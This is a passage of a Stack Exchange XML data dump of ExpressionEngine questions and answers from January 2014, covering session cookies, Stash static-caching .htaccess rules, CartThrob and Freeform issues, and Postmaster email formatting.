3.0" />
  <row Id="18538" PostTypeId="2" ParentId="18255" CreationDate="2014-01-20T14:28:45.033" Score="0" Body="&lt;p&gt;I ended up doing this in my module's constructor method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (! isset($_SESSION))&#xA;{&#xA;    session_start();&#xA;}&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;input-&amp;gt;set_cookie(array(&#xA;    'name'   =&amp;gt; 'exp_tp_session_id',&#xA;    'value'  =&amp;gt; session_id(),&#xA;    'expire' =&amp;gt; 60*60*24 // 24 hrs&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then when a user logs in, I retrieve that cookie value and then use EE's session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems odd that I'd have to do this but it works. Perhaps I'm misunderstanding something...&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-01-20T14:28:45.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18539" PostTypeId="1" AcceptedAnswerId="18974" CreationDate="2014-01-20T15:21:36.890" Score="0" ViewCount="161" Body="&lt;p&gt;I have a couple of 'ban keywords' set to try and minimise spam in a FreeForm Pro form. The form is inline validated and submitted via ajax/jquery.&#xA;In the js code, I'm checking for data.seccess = true.&#xA;However, even if I put some banned keywords in the form, I still get success=true and the form submits..&#xA;What can I do to make the form not submit when banned keywords are used?&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2014-01-31T13:47:56.587" Title="Ban Keywords FreeForm Pro + AJAX Submit not working" Tags="|solspace-freeform|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18540" PostTypeId="2" ParentId="18530" CreationDate="2014-01-20T15:36:46.900" Score="1" Body="&lt;p&gt;One option is to set up your channel form tags as if you're creating a new entry. Then use an embedded template to output the fields for your form using channel entries tags for whichever entry you're using as the form starting point. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it works like you're creating a new entry, but have pre-filled the form from an existing entry. Like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form .... }&#xA;&#xA;    {embed=&quot;some_template_group/some_template&quot; use_entry_id=&quot;{segment_4}&quot;&#xA;&#xA;    &amp;lt;button id=&quot;form_submit&quot; type=&quot;submit&quot;&amp;gt;Submit&amp;lt;/button&amp;gt;&#xA;{/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then on the embedded template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;    entry_id=&quot;{embed:use_entry_id}&quot;     &#xA;.... }&#xA;&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot;&amp;gt;&#xA;    etc....&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-01-20T15:36:46.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18541" PostTypeId="1" CreationDate="2014-01-20T15:58:17.010" Score="1" ViewCount="106" Body="&lt;p&gt;I have used &lt;code&gt;{exp:jquery:script_tag}&lt;/code&gt; in my code but it looks like is breaking responsive layout (after it goes to &quot;mobile friendly&quot; layout and then re-size it back to the desktop size background and all CSS elements are missing)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;utf-8&quot;&amp;gt;&#xA;    {exp:seo_lite use_last_segment=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;    &amp;lt;script type=&quot;text/javascript&quot; src=&quot;js/main.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&#xA;    &amp;lt;link href=&quot;http://netdna.bootstrapcdn.com/font-awesome/3.2.1/css/font-awesome.css&quot; rel=&quot;stylesheet&quot;&amp;gt;&#xA;    &amp;lt;link href='http://fonts.googleapis.com/css?family=Lato:400,700' rel='stylesheet' type='text/css'&amp;gt;&#xA;    &amp;lt;link href=&quot;css/normalize.css&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;    &amp;lt;link href=&quot;{stylesheet='styles/main'}&quot; rel=&quot;stylesheet&quot; /&amp;gt;&#xA;    {exp:jquery:script_tag}&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any clue what is going on?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-01-20T19:57:06.153" LastActivityDate="2014-01-20T19:57:06.153" Title="jquery:script_tag is breaking responsive layout" Tags="|jquery|tags|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18542" PostTypeId="2" ParentId="11842" CreationDate="2014-01-20T16:23:51.813" Score="0" Body="&lt;p&gt;Dealing with a similar situation here where I'm forced to use ZV and finding it difficult to integrate with CT. Is that ZV sync extension available somewhere?&lt;/p&gt;&#xA;" OwnerUserId="302" LastActivityDate="2014-01-20T16:23:51.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18543" PostTypeId="2" ParentId="18531" CreationDate="2014-01-20T16:30:32.123" Score="1" Body="&lt;p&gt;Unless there are other reasons for putting these templates into the /site/ group I'd recommend just creating an /aboutus/ template group and putting the code into the index template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd get the URLs you want without hassle/logic and just have a few more template groups in the system.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-01-20T16:30:32.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18544" PostTypeId="1" CreationDate="2014-01-20T16:37:59.353" Score="1" ViewCount="163" Body="&lt;p&gt;I have a problem with the parse_variables() method once my data contains an array at a certain depth:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($cvs-&amp;gt;result_array() as $id =&amp;gt; $row)&#xA;{&#xA;    $variables[] = array(&#xA;        'id' =&amp;gt; $row['id'],&#xA;        'name' =&amp;gt; $row['name'],&#xA;        'template_id' =&amp;gt; $row['template_id'],&#xA;        'template_purchases' =&amp;gt; $this-&amp;gt;cv_model-&amp;gt;template_purchases($row['template_id']), &#xA;        'pages' =&amp;gt; array(&#xA;            array(&#xA;                'page_count' =&amp;gt; 1, &#xA;                'regions' =&amp;gt; array(&#xA;                    'region_count' =&amp;gt; 1, &#xA;                    'region_data' =&amp;gt; 'something here'&#xA;                )&#xA;            )&#xA;        )&#xA;    );&#xA;}&#xA;&#xA;return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($tagdata, $variables);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What I'm finding is that it's fine if region_data is NOT an array. But the minute I make that an associative array I get an error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Undefined offset: 1&lt;/p&gt;&#xA;&lt;p&gt;Filename: libraries/Template.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 3716&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&lt;p&gt;Severity: Notice&lt;/p&gt;&#xA;&lt;p&gt;Message: Array to string conversion&lt;/p&gt;&#xA;&lt;p&gt;Filename: libraries/Template.php&lt;/p&gt;&#xA;&lt;p&gt;Line Number: 3789&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Is there a limit to the number of levels you can nest here? I'm trying to achieve something like this in the template:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{exp:blah:cvs&#xA;    id=&amp;quot;{segment_3}&amp;quot;&#xA;    }&#xA;&#xA;    {pages}&#xA;                                &#xA;        &amp;lt;div class=&amp;quot;page&amp;quot; id=&amp;quot;page-{page_count}&amp;quot; data-template-id=&amp;quot;template-{template_id}&amp;quot;&amp;gt;&#xA;&#xA;            {regions}&#xA;&#xA;                &amp;lt;div class=&amp;quot;region&amp;quot; id=&amp;quot;page-{page_count}-region-{region_count}&amp;quot;&amp;gt;&#xA;                    &#xA;                    {region_content}&#xA;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            {/regions}&#xA;            &#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    {/pages}&#xA;&#xA;{/exp:blah:cvs}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="506" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2014-01-20T16:37:59.353" Title="Problem parsing deep arrays with parse_variables()" Tags="|add-on|templates|add-on-development|module|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18545" PostTypeId="1" AcceptedAnswerId="19057" CreationDate="2014-01-20T16:49:07.633" Score="0" ViewCount="87" Body="&lt;p&gt;I am running EE 2.7.3 and Cartthrob 2.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying to use this tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:is_in_cart entry_id=&quot;1234&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not matter what entry_id I use the tag always returns true (1 actually)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way I can get to return false (0) is to leave the entry_id param blank&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could be missing something but I think this is a bug?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I set up a minimal test case with this being the only template code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:is_in_cart entry_id=&quot;XXXX&quot;}&#xA;{exp:cartthrob:debug_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I put 3 items in the cart&#xA;entry_id 3517&#xA;entry_id 3518&#xA;on the fly dynamic item with no entry id&lt;/p&gt;&#xA;&#xA;&lt;p&gt;passing 'XXXX' to the tag is not a valid entry ID, but the tag still returns 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if the cart is empty the tag returns 0 as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if I remove the on the fly product the tag returns 0 as expected&lt;/p&gt;&#xA;&#xA;&lt;p&gt;sounds like the issue has to do with on the fly products, does that help at all with troubleshooting?&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2014-01-23T14:44:31.747" LastActivityDate="2014-02-03T22:21:58.607" Title="exp:cartthrob:is_in_cart always returns true" Tags="|cartthrob|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18547" PostTypeId="2" ParentId="18537" CreationDate="2014-01-20T17:06:42.720" Score="0" Body="&lt;p&gt;try using an input instead of a button&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;submit&quot; name=&quot;clear_cart&quot; value=&quot;Empty Basket&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastActivityDate="2014-01-20T17:06:42.720" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18548" PostTypeId="1" AcceptedAnswerId="18549" CreationDate="2014-01-20T18:07:15.163" Score="0" ViewCount="226" Body="&lt;p&gt;I'm using the Pages module. In one entry, I created a Pages URI just to test something. Now I want to remove the URI for that entry, but I can't. It seems to be forcing me to populate the Pages URI field, but I want it blank, like it was when I initially created the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="332" LastActivityDate="2014-01-20T18:38:56.597" Title="Need help removing Pages URI" Tags="|pages|page-uri|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18549" PostTypeId="2" ParentId="18548" CreationDate="2014-01-20T18:38:56.597" Score="1" Body="&lt;p&gt;That sounds odd - but you can remove the page via &lt;strong&gt;Add-on &amp;rarr; Modules &amp;rarr; Pages&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-20T18:38:56.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18550" PostTypeId="1" AcceptedAnswerId="18585" CreationDate="2014-01-20T18:49:02.733" Score="0" ViewCount="217" Body="&lt;p&gt;I am using Stash static caching (and it is AWESOME). I'm using Stash 2.4.5 and EE 2.7.2. I am also using Low Search 3.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I have the &lt;code&gt;{exp:stash:static}&lt;/code&gt; tag on my homepage, which is great. But if it's there (or, I should say, if my static_cache folder has a cached file for my homepage), my Low Search form doesn't work. When I submit a keyword search, it just loads the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The search works fine when I am logged in, presumably because I have Stash disabled for logged in users. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, based on my .htaccess, I'd expect it to NOT load the homepage from the cache file because it's a POST. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what I'm doing wrong, or how to get this to work? I'd really like to keep my homepage static caching working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my .htaccess, I have &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#################################################################################&#xA;# START MUSTASH STATIC CACHE RULES&#xA;&#xA;# -------------------------------------------------------------------------------&#xA;# default_site&#xA;# -------------------------------------------------------------------------------&#xA;&#xA;# Exclude image files&#xA;RewriteCond $1 !\.(gif|jpe?g|png|ico)$ [NC]&#xA;&#xA;# We only want GET requests&#xA;RewriteCond %{REQUEST_METHOD} GET&#xA;&#xA;# Exclude CSS/ACT EE URLs and 'preview'&#xA;RewriteCond %{QUERY_STRING} !^(css|ACT|URL|preview)&#xA;&#xA;# Uncomment this if you want to disable static caching for logged-in users&#xA;RewriteCond %{HTTP_COOKIE} !exp_sessionid [NC]&#xA;&#xA;# Remove index.php from conditions&#xA;RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;# Check if cached index.html exists&#xA;RewriteCond /path/to/my/public_html/static_cache/1/$2/index.html (.*\.(.*))$&#xA;RewriteCond %1 -f&#xA;&#xA;# Rewrite to the cached page&#xA;RewriteRule ^(index.php/*)*(.*)(/*) /static_cache/1/$2/index.%2 [L]&#xA;&#xA;# END MUSTASH STATIC CACHE RULES&#xA;#################################################################################&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1527" LastActivityDate="2014-01-21T16:55:49.033" Title="Stash static caching not ignoring POSTs like I think it should" Tags="|stash|low-search|htaccess|caching|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18551" PostTypeId="1" AcceptedAnswerId="18570" CreationDate="2014-01-20T19:29:22.667" Score="0" ViewCount="256" Body="&lt;p&gt;I am using Stash static caching (and it is AWESOME). I'm using Stash 2.4.5, Mustash 1.0.9,  and EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On my Mustash 'Static cache rewrite rules' page, in the example .htaccess code, it has the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# Check if cached index.html exists&#xA;RewriteCond /path/to/my/static_cache/1/$2/index.html (.*\.(.*))$&#xA;RewriteCond %1 -f&#xA;&#xA;# Rewrite to the cached page&#xA;RewriteRule ^(index.php/*)*(.*)(/*) http://www.domain.com/static_cache/1/$2/index.%2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use that entire &lt;code&gt;.htaccess&lt;/code&gt; file as is, I get weird URLs as I navigate throughout my site. The first time I visit a page (no static cache file exists yet), the URL is fine (like &lt;code&gt;http://www.domain.com/about&lt;/code&gt;)... but the next time I visit it, I get a weird URL, like &lt;code&gt;http://www.domain.com/static_cache/1/about/index.html&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another weird thing, when I visit the home page &lt;code&gt;http://www.domain.com/&lt;/code&gt;, if it's been cached, the url is &lt;code&gt;http://www.domain.com/static_cache/1//index.html&lt;/code&gt;. (notice the //).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;.&#xA;.&#xA;.&#xA;HOWEVER, I found that if I remove the domain part from &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(index.php/*)*(.*)(/*) http://www.domain.com/static_cache/1/$2/index.%2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make it&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(index.php/*)*(.*)(/*) /static_cache/1/$2/index.%2 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then caching works and my URL's are fine...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be working (with the exception of the issue I noted in this question (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18550/stash-static-caching-not-ignoring-posts-like-i-think-it-should&quot;&gt;Stash static caching not ignoring POSTs like I think it should&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it does seem like it's indicative of some underlying issue in the way I've set things up. I assume things should work normally with the example .htaccess file provided from that Mustash page. Any ideas what I've done wrong?&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-01-21T12:17:46.063" Title="Stash static caching URL issue" Tags="|stash|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18552" PostTypeId="2" ParentId="18536" CreationDate="2014-01-20T20:19:45.547" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry, there was an unexpected error communicating with the payment gateway.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This generally means that there was a communication problem talking to the gateway (i.e. your server is blocking the request, or the authentication details are incorrect). We're working on better logging for these errors, but in the meantime the full error isn't displayed because it could pose a security risk to your site (or reveal your gateway authentication details).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To diagnose it, open &lt;code&gt;third_party/store/src/Store/Service/PaymentsService.php&lt;/code&gt; and around line 328, you will see this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;} catch (\Exception $e) {&#xA;    $transaction-&amp;gt;status = Transaction::FAILED;&#xA;    $transaction-&amp;gt;message = lang('store.payment.communication_error');&#xA;    $transaction-&amp;gt;save();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you comment out those 4 lines, you should see the underlying exception displayed, which may make it clear what is going wrong. Can you either update your original question with the exception details, or send us an email so we can add a  check for this in future?&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-01-20T20:19:45.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18553" PostTypeId="2" ParentId="18525" CreationDate="2014-01-20T20:22:14.870" Score="0" Body="&lt;p&gt;This is a known issue, and we have a fix for it coming out very soon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the meantime, if you would like to test the update please email support@exp-resso.com and we will get you a copy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: This has been fixed in version 1.0.2 of the Australia Post extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/shipping_aus_post.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/shipping_aus_post.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2014-02-19T23:57:05.707" LastActivityDate="2014-02-19T23:57:05.707" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18555" PostTypeId="2" ParentId="18491" CreationDate="2014-01-20T20:33:58.503" Score="2" Body="&lt;p&gt;Yes, it is that easy, I've done this many times. In some earlier versions of Assets I had some issues doing this on a couple of sites, but later versions smoothed out the bumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As always, do this on a dev copy of the site first - or at the veery least, take a full DB backup first.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-20T20:33:58.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18556" PostTypeId="2" ParentId="18550" CreationDate="2014-01-20T21:10:07.080" Score="1" Body="&lt;p&gt;Your htaccess looks OK to me--I think it should be doing what you want. But you could try changing the Request Method match from this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_METHOD} GET&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to this more strict match:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{REQUEST_METHOD} ^GET$&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another rewrite technique I've used, that I know works, is to enclose the rules in a &lt;code&gt;Limit&lt;/code&gt; block, like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Limit GET&amp;gt;&#xA;   # your caching rewrite rules here&#xA;&amp;lt;/Limit&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2014-01-20T21:10:07.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18557" PostTypeId="1" AcceptedAnswerId="18560" CreationDate="2014-01-20T21:12:29.497" Score="0" ViewCount="46" Body="&lt;p&gt;I am working on a site that has potential to attract a lot of traffic, says my client. I am reading here and there how to build efficient, for speed. One of the things I am looking at is the use of Stash for caching pages with static content. (I did use Stash for something else in another project)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions.&#xA;1) Is the pages module enough for this?&#xA;2) Is a htaccess file needed for page caching with Stash? The documentation makes me a bit unsure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1615" LastActivityDate="2014-01-20T21:53:28.937" Title="Newby question: caching, is Page module enough, and can Stash cach template without setting up htaccess file?" Tags="|stash|pages|speed|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18558" PostTypeId="1" AcceptedAnswerId="19668" CreationDate="2014-01-20T21:42:35.670" Score="3" ViewCount="318" Body="&lt;p&gt;I've setup Postmaster to send system emails via Mandrill. Everything's working fine, but, all of the HTML tags are getting stripped out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a snip from the Message field, which is rendering nicely in Postmaster's preview pane:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;    &amp;lt;head&amp;gt;&#xA;        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;        &amp;lt;title&amp;gt;{hook:subject}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;style type=&quot;text/css&quot;&amp;gt;&#xA;            /* /\/\/\/\/\/\/\/\/ CLIENT-SPECIFIC STYLES /\/\/\/\/\/\/\/\/ */&#xA;            #outlook a{padding:0;} /* Force Outlook to provide a &quot;view in browser&quot; message */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's the raw text of the email I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;From: (client name / email redacted)&#xA;To:  &#xA;Date: Mon, 20 Jan 2014 15:28:54 -0600 &#xA;Subject: Enclosed is your activation code &#xA;&#xA;Enclosed is your activation code&#xA;&#xA;            /* /\/\/\/\/\/\/\/\/ CLIENT-SPECIFIC STYLES /\/\/\/\/\/\/\/\/ */&#xA;            #outlook a{padding:0;} /* Force Outlook to provide a &quot;view in browser&quot; message */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The CSS rules are making it through, but, looks like a &lt;code&gt;strip_tags()&lt;/code&gt; or something is wiping out the HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a setting for &quot;Plain Text Only&quot; in the area for the Mandrill config, but, it is set to false.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.7.2 and Postmaster 1.4.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/18423/using-postmaster-to-send-system-emails&quot;&gt;setting up per this post&lt;/a&gt;, and selecting Mandrill as the mechanism, none of the default EE email settings have been touched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts appreciated; will followup ASAP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 1: Other Add-ons Interfering?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the relevant (hopefully) columns from &lt;code&gt;exp_extensions&lt;/code&gt;; this is happening  during the new member registration process (not sure if it's also happening in other situations); the form is coming from Zoo Visitor, has a Snaptcha captcha, &lt;s&gt;and the user is sent to a Custom System Messages managed page on success,&lt;/s&gt; so I suppose there's plenty of room for interference.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Assets_ext          channel_entries_query_result        channel_entries_query_result&#xA;Shortlist_ext       channel_entries_row                 channel_entries_row&#xA;Matrix_ext          channel_entries_tagdata             channel_entries_tagdata&#xA;Zoo_visitor_ext     hook_safecracker_submit_entry_end   channel_form_submit_entry_end&#xA;Zoo_visitor_ext     hook_safecracker_submit_entry_start channel_form_submit_entry_start&#xA;Snaptcha_ext        comment_field                       comment_form_tagdata&#xA;Zoo_visitor_ext     hook_cp_js_end                      cp_js_end&#xA;Zoo_visitor_ext     hook_cp_members_member_create       cp_members_member_create&#xA;Zoo_visitor_ext     hook_cp_members_member_delete_end   cp_members_member_delete_end&#xA;Zoo_visitor_ext     hook_cp_members_validate_members    cp_members_validate_members&#xA;Superfish_admin_ext cp_menu_array                       cp_menu_array&#xA;Channel_images_ext  editor_before_display               editor_before_display&#xA;Channel_images_ext  editor_before_replace               editor_before_replace&#xA;Channel_images_ext  editor_before_save                  editor_before_save&#xA;Minimee_ext         ee_debug_toolbar_add_panel          ee_debug_toolbar_add_panel&#xA;Snaptcha_ext        email_form_field                    email_form_form_end&#xA;Snaptcha_ext        email_form_validate                 email_form_send_form_start&#xA;Postmaster_ext      trigger_hook                        email_send&#xA;Zoo_visitor_ext     hook_entry_submission_end           entry_submission_end&#xA;Postmaster_ext      entry_submission_end                entry_submission_end&#xA;Postmaster_ext      entry_submission_ready              entry_submission_ready&#xA;Assets_ext          files_after_delete                  files_after_delete&#xA;Assets_ext          file_after_save                     file_after_save&#xA;Snaptcha_ext        forum_field                         forum_submission_form_end&#xA;Snaptcha_ext        forum_validate                      forum_submit_post_start&#xA;Snaptcha_ext        forum_field                         forum_threads_template&#xA;Snaptcha_ext        freeform_field                      freeform_module_form_end&#xA;Snaptcha_ext        freeform_validate                   freeform_module_validate_end&#xA;Snaptcha_ext        freemember_register_validate        freemember_register_validation&#xA;Snaptcha_ext        comment_validate                    insert_comment_start&#xA;Snaptcha_ext        rating_comment_validate             insert_rating_comment_start&#xA;Snaptcha_ext        rating_validate                     insert_rating_start&#xA;Zoo_visitor_ext     hook_member_member_register         member_member_register&#xA;Snaptcha_ext        member_register_validate            member_member_register_errors&#xA;Zoo_visitor_ext     hook_member_member_register_start   member_member_register_start&#xA;Snaptcha_ext        member_register_validate_deprecated member_member_register_start&#xA;Zoo_visitor_ext     hook_member_register_validate_members member_register_validate_members&#xA;Zoo_visitor_ext     hook_membrr_expire                  membrr_expire&#xA;Zoo_visitor_ext     hook_membrr_subscribe               membrr_subscribe&#xA;System_messages_ext output_show_message                 output_show_message&#xA;Snaptcha_ext        proform_field                       proform_create_captcha&#xA;Snaptcha_ext        proform_process_captcha             proform_process_captcha&#xA;Snaptcha_ext        proform_validate                    proform_validation_end&#xA;Snaptcha_ext        rating_comment_field                rating_comment_form_tagdata&#xA;Snaptcha_ext        rating_field                        rating_form_tagdata&#xA;Snaptcha_ext        safecracker_field                   safecracker_entry_form_tagdata_end&#xA;Snaptcha_ext        safecracker_validate                safecracker_submit_entry_start&#xA;Snippet_sync_ext    sessions_end                        sessions_end&#xA;Zoo_visitor_ext     hook_sessions_end                   sessions_end&#xA;System_messages_ext extend_output_class                 sessions_start&#xA;Url_helper_ext      set_url_helper                      sessions_start&#xA;Snippet_sync_ext    show_full_control_panel_end         